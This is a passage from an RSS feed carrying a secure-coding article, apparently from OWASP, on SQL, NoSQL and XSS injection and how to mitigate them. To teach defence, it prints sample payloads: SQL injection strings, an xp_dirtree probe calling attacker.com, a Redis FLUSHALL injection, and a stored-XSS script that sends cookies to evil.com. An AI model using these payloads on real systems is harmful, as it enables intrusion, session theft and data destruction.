<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Martin Belov</title>
    <description>The latest articles on Forem by Martin Belov (@martinbelov).</description>
    <link>https://forem.com/martinbelov</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1645514%2F1836d97b-567b-4061-8b87-d200f1199998.jpg</url>
      <title>Forem: Martin Belov</title>
      <link>https://forem.com/martinbelov</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/martinbelov"/>
    <language>en</language>
    <item>
      <title>Secure Coding Principles</title>
      <dc:creator>Martin Belov</dc:creator>
      <pubDate>Mon, 09 Sep 2024 10:45:47 +0000</pubDate>
      <link>https://forem.com/owasp/secure-coding-principles-4dg8</link>
      <guid>https://forem.com/owasp/secure-coding-principles-4dg8</guid>
      <description>&lt;p&gt;After exploring how to create a secure and persistent application architecture in &lt;a href="https://dev.to/owasp/secure-and-resilient-design-2f1k"&gt;Secure &amp;amp; Resilient Design&lt;/a&gt; article, we have learned how to create a solid foundation for our system.&lt;br&gt;
Now our goal is to ensure security in the code of its components, because about &lt;strong&gt;75%&lt;/strong&gt; of attacks come from the application layer. We are going to describe the principles of secure coding and best solutions to implement them.&lt;/p&gt;
&lt;h2&gt;
  
  
  Never Trust User Input
&lt;/h2&gt;

&lt;p&gt;This is the first and most fundamental principle that you need to wrap your head around. &lt;strong&gt;Any user input should be validated on the server side, and the content displayed to the user should be sanitized&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We divide validation into 2 types: syntax validation and semantic validation.&lt;br&gt;
&lt;strong&gt;Syntax&lt;/strong&gt; validation implies that the data matches the format that we expect. For example, validating that the value entered is a number, e-mail address corresponds to a standard format, or the date is in the correct format (e.g. &lt;code&gt;YYYY-MM-DD&lt;/code&gt;).&lt;br&gt;
&lt;strong&gt;Semantic&lt;/strong&gt; validation, on the other hand, checks that the data is semantically correct. This can include checking that the date of birth is not a later than current one, that the age is within a reasonable range (e.g. 0 to 150 years old), or in another field, that the transaction amount does not exceed the balance available to the account.&lt;/p&gt;

&lt;p&gt;I'm sure most of you have heard about attack methods such as SQL, NoSQL, XSS, CMD, LDAP, and similar injections. Despite the fact of everyone knowing about them, the &lt;strong&gt;Injection&lt;/strong&gt; vulnerability type is still at the leading positions in most applications, according to the &lt;strong&gt;OWASP Top 10&lt;/strong&gt;. Why is this?&lt;/p&gt;

&lt;p&gt;The problem is that developers often underestimate the complexities of security, do not consult with security as they design software, or at best rely on out-of-date security practices. Fast pace of development, business side pressures, and limited resources cause teams to focus on functionality and deadline over security. Many organizations also rely on WAF to create the illusion of total security against attacks, when in reality WAF is &lt;strong&gt;addition&lt;/strong&gt; to other security practices. So let's say that, if Morpheus offered them a pill, they would choose the red one.&lt;/p&gt;

&lt;p&gt;Let's refresh our memory, and look at the top application vulnerabilities caused by missing or incorrect input validation, and determine the most effective methods to mitigate them:&lt;/p&gt;
&lt;h3&gt;
  
  
  SQL Injection
&lt;/h3&gt;

&lt;p&gt;SQL Injection is a type of injection attack that both rookies and security experts rank as the most likely. The attack is successful if SQL syntax data is “injected” via user input in a way that is read, modified, and executed in the database.&lt;/p&gt;

&lt;p&gt;Basic examples of SQL injection in action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"' AND password = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker sends &lt;code&gt;admin' --&lt;/code&gt; in the input, then the final query will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="c1"&gt;--' AND password = ''&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--&lt;/code&gt; commenting out a password check, thus depending on the context, may give away access to the system. Obviously, in case of real attacks, we should expect more intricate payloads. &lt;/p&gt;

&lt;p&gt;For example, to bypass basic filters, the following are often used &lt;strong&gt;Hexadecimal SQL Injection&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE user_id = "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;userId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's convert &lt;code&gt;1 OR 1=1 --&lt;/code&gt; into hexadecimal format and get &lt;code&gt;0x31204F5220313D31&lt;/code&gt;. If we submit this hexadecimal value into the form, we will get the following query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x31204F5220313D31&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which is equivalent to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As should be evident by now, this will return all users.&lt;/p&gt;

&lt;h4&gt;
  
  
  How does a threat actor determine if an attack surface is vulnerable to SQL injection?
&lt;/h4&gt;

&lt;p&gt;Typically, &lt;strong&gt;blind SQL injections&lt;/strong&gt; are used to identify this vulnerability. The two most popular types are: &lt;strong&gt;Time based SQL Injection&lt;/strong&gt; and &lt;strong&gt;Out-of-Bound SQL Injection&lt;/strong&gt;. They are often used to identify vulnerable targets among the mined database of sites operating on the same basis (e.g. in WooCommerce).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time based SQL Injection&lt;/strong&gt;&lt;br&gt;
The name speaks for itself. Let's take a look at the following example input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' OR IF(1=1, SLEEP(10), false) --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The whole point of the attack is to monitor the server response time. If there are delays in the response (in our case around 10 seconds), it means that the application is vulnerable to SQL Injection and the attack can be launched.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Out-of-Bound SQL Injection&lt;/strong&gt;&lt;br&gt;
This is a more tedious SQL injection attack that relies on asyncronous database entries and its success depends heavily on the configuration of the target server. As an example, let's imagine that our target is using Microsoft SQL Server.&lt;/p&gt;

&lt;p&gt;The attacker runs their server on &lt;code&gt;attacker.com&lt;/code&gt; with the goal of intercepting all incoming DNS requests to the target and routing them to the attacker's server, which is the &lt;strong&gt;server vulnerability identifier&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;After that, they send the following payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;'; EXEC master..xp_dirtree '&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sample&lt;/span&gt;&lt;span class="s1"&gt;'--.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the database is misconfigured, &lt;code&gt;xp_dirtree&lt;/code&gt; initiates a DNS lookup for the domain &lt;code&gt;attacker.com&lt;/code&gt;, attempting to resolve the network path &lt;code&gt;//attacker.com/sample&lt;/code&gt;. The attacker is not trying to steal data this way, their goal is to &lt;strong&gt;detect&lt;/strong&gt; the presence of a vulnerability, which they do in this method as their server intercepts DNS requests to themselves.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The only appropriate solution for mitigating this type of vulnerability is to validate the input and then use &lt;code&gt;Prepared Statements&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Validation alone &lt;strong&gt;will not&lt;/strong&gt; save you from SQL injections. It is hard to make a universal rule, so we need to guarantee &lt;strong&gt;isolation&lt;/strong&gt; of user input from query. Validation here acts as an additional yet &lt;strong&gt;mandatory&lt;/strong&gt; layer of security to make sure that the data is syntactically and semantically correct.&lt;/p&gt;

&lt;p&gt;Here's an example of a proper code, with validation and using Prepared Statement. We will use &lt;a href="https://github.com/OWASP/www-project-netryx/tree/main" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; as the validation tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;input&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;thenAccept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;con&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dataSource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;con&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="c1"&gt;// execute query&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If our goal is to passively block such data, machine learning models like &lt;strong&gt;Naive Bayes&lt;/strong&gt; do a good job detecting injection attempts.&lt;/p&gt;

&lt;h3&gt;
  
  
  NoSQL Injection
&lt;/h3&gt;

&lt;p&gt;It is a popular misconception that NoSQL databases are not susceptible to injection attacks. The protection techniques here are the same as SQLi - input validation, data isolation and strict typing.&lt;/p&gt;

&lt;h4&gt;
  
  
  MongoDB
&lt;/h4&gt;

&lt;p&gt;Despite the fact that the MongoDB driver for Java, especially in recent versions, effectively isolates the data coming inside the filters, we still need to look at examples to understand the principle of vulnerability.&lt;/p&gt;

&lt;p&gt;Let's imagine we have an endpoint; it returns users by their name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/user
Accepts: application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Searching for users looks like this under the hood:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;username&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MongoDB allows you to construct complex queries that include the following operators:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$ne&lt;/code&gt; - not equals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$gt&lt;/code&gt; - greater than&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$lt&lt;/code&gt; - less than&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the attacker sends the following construct in the body of the request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then it will construct the following query to the database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To describe the query in human terms, it literally means “find me all users whose &lt;code&gt;username&lt;/code&gt; is not equal to &lt;code&gt;null&lt;/code&gt;”.&lt;/p&gt;

&lt;h4&gt;
  
  
  Redis
&lt;/h4&gt;

&lt;p&gt;In Redis, injection is possible if you use the Command-Line Interface (CLI) or if your library, through which you work with Redis, also operates through the CLI.&lt;/p&gt;

&lt;p&gt;Let's imagine that we need to store a value obtained from a query in Redis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SET key &lt;span class="o"&gt;{&lt;/span&gt;user_data&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker can use the &lt;code&gt;\n&lt;/code&gt; character (line break) to execute a database query on top of their own. For example, if they submit &lt;code&gt;“userData”\nSET anotherKey “hi nosqli”&lt;/code&gt;, it will cause the following commands to be executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SET key &lt;span class="s2"&gt;"userData"&lt;/span&gt;
SET anotherKey &lt;span class="s2"&gt;"hi nosqli"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or worse, they can delete a base by subming:&lt;br&gt;
&lt;code&gt;“userData”\nFLUSHDB&lt;/code&gt; (or &lt;code&gt;FLUSHALL&lt;/code&gt;, to delete all bases).&lt;/p&gt;
&lt;h3&gt;
  
  
  XSS Injection
&lt;/h3&gt;

&lt;p&gt;Also an extremely popular injection attack method, which unlike SQL Injection, targets the &lt;strong&gt;user&lt;/strong&gt; rather than the server. The ultimate goal of this attack is to execute JS code in the user's browser.&lt;/p&gt;

&lt;p&gt;There are four main varieties of this attack:&lt;/p&gt;
&lt;h4&gt;
  
  
  Stored XSS
&lt;/h4&gt;

&lt;p&gt;Stored XSS occurs when an attacker submits malicious data to the server and the server then displays this data to other users.&lt;/p&gt;

&lt;p&gt;For example, let's say we have a movie site where you can leave comments. The attacker sends a comment with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Very interesting film about extremely sad fairytale. &amp;lt;script&amp;gt;var img=new Image();img.src='http://evil.com/steal-cookie.php?cookie='+document.cookie;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the comments have loaded, depending on the browser, the DOM tree will render the script and we'll get this final HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!--Some code---&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"comments"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"comment"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Very interesting film about extremely sad fairytale.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://evil.com/steal-cookie.php?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"comment"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!--Some code---&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depending on the browser, the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag may be inside the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag, but this will not prevent the script from executing.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reflected XSS
&lt;/h4&gt;

&lt;p&gt;Let's go by the name, an attack occurs when a malicious script is “reflected” from a web-server in response to an HTTP request. To understand this, let's look at the following scenario:&lt;/p&gt;

&lt;p&gt;We have an endpoint &lt;code&gt;/error&lt;/code&gt; with a query parameter &lt;code&gt;message&lt;/code&gt; that specifies the error message. Here is an example HTML file of the page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Your error message: &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;${message}&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker sends a link to a user, with the following payload:&lt;br&gt;
&lt;code&gt;http://example.com/error?message=%3Cscript%3Ealert('XSS');%3C%2Fscript%3E&lt;/code&gt;, the server will replace the placeholder &lt;code&gt;${message}&lt;/code&gt; with the value from query, and return an HTML file with the malicious script.&lt;/p&gt;
&lt;h4&gt;
  
  
  DOM-based XSS
&lt;/h4&gt;

&lt;p&gt;In this type of XSS injection, all processing takes place directly on the client, bypassing the server. Let's take a look at the error screen as an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Your error message: &lt;span class="nt"&gt;&amp;lt;strong&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"error-message"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
